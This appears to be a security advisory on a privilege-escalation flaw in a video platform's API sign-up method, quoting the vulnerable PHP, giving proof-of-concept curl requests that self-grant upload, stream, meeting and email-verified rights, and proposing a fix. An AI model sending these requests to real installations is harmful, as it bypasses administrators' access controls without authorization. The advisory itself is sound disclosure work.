Summary The "set_api_signUp" method in the API plugin accepts "emailVerified", "canUpload", "canStream", and "canCreateMeet" parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration. Details The authentication check in "set_api_signUp" ("plugin/API/API.php:4222") allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access): // plugin/API/API.php:4222-4232 if ($obj->APISecret !== @$_REQUEST['APISecret']) { if(empty($_REQUEST['captcha'])){ return new ApiObject("Captcha is required"); } require_once $global['systemRootPath'] . 'objects/captcha.php'; $valid = Captcha::validation($_REQUEST['captcha']); if(!$valid){ return new ApiObject("Captcha is wrong, reload it and try again"); } } After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally: // plugin/API/API.php:4238-4249 if (isset($_REQUEST['emailVerified'])) { $global['emailVerified'] = intval($_REQUEST['emailVerified']); } if (isset($_REQUEST['canCreateMeet'])) { $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']); } if (isset($_REQUEST['canStream'])) { $global['canStream'] = intval($_REQUEST['canStream']); } if (isset($_REQUEST['canUpload'])) { $global['canUpload'] = intval($_REQUEST['canUpload']); } These "$global" values are then consumed by "User::save()" ("objects/user.php:829-840"), which overrides the user object's permission fields: // objects/user.php:829-840 if (isset($global['emailVerified'])) { $this->emailVerified = $global['emailVerified']; } if (isset($global['canCreateMeet'])) { $this->canCreateMeet = $global['canCreateMeet']; } if (isset($global['canStream'])) { $this->canStream = $global['canStream']; } if (isset($global['canUpload'])) { $this->canUpload = $global['canUpload']; } Note that even though "userCreate.json.php:90" sets "canUpload" from the site's default configuration, "User::save()" subsequently overrides it with the attacker-controlled "$global" value. The codebase already uses "self::isAPISecretValid()" to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in "set_api_signUp". PoC Step 1: Get a CAPTCHA token (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token) Step 2: Register with elevated privileges curl -X POST 'https://target/plugin/API/set.json.php' -d 'APIName=signUp' -d 'user=attacker' -d 'pass=Password123!' -d 'email=attacker@example.com' -d 'name=Attacker' -d 'captcha=VALID_CAPTCHA_TOKEN' -d 'emailVerified=1' -d 'canUpload=1' -d 'canStream=1' -d 'canCreateMeet=1' Expected: Account created with default (restricted) permissions Actual: Account created with upload, stream, and meet permissions enabled, plus email marked as verified Step 3: Verify elevated permissions by logging in and checking profile curl -X POST 'https://target/plugin/API/set.json.php' -d 'APIName=signIn' -d 'user=attacker' -d 'pass=Password123!' Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1 Impact - Email verification bypass: Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality - Unauthorized upload access: Self-granted upload permissions allow uploading potentially malicious video content to the platform - Unauthorized streaming access: Self-granted streaming permissions allow unauthorized live streaming - Unauthorized meeting creation: Self-granted meet permissions allow creating meetings on the platform - Policy bypass: Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented Recommended Fix Wrap the privilege parameter handling in an "isAPISecretValid()" check so that only admin-authenticated requests can set these values: // plugin/API/API.php — replace lines 4238-4249 with: if (self::isAPISecretValid()) { if (isset($_REQUEST['emailVerified'])) { $global['emailVerified'] = intval($_REQUEST['emailVerified']); } if (isset($_REQUEST['canCreateMeet'])) { $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']); } if (isset($_REQUEST['canStream'])) { $global['canStream'] = intval($_REQUEST['canStream']); } if (isset($_REQUEST['canUpload'])) { $global['canUpload'] = intval($_REQUEST['canUpload']); } }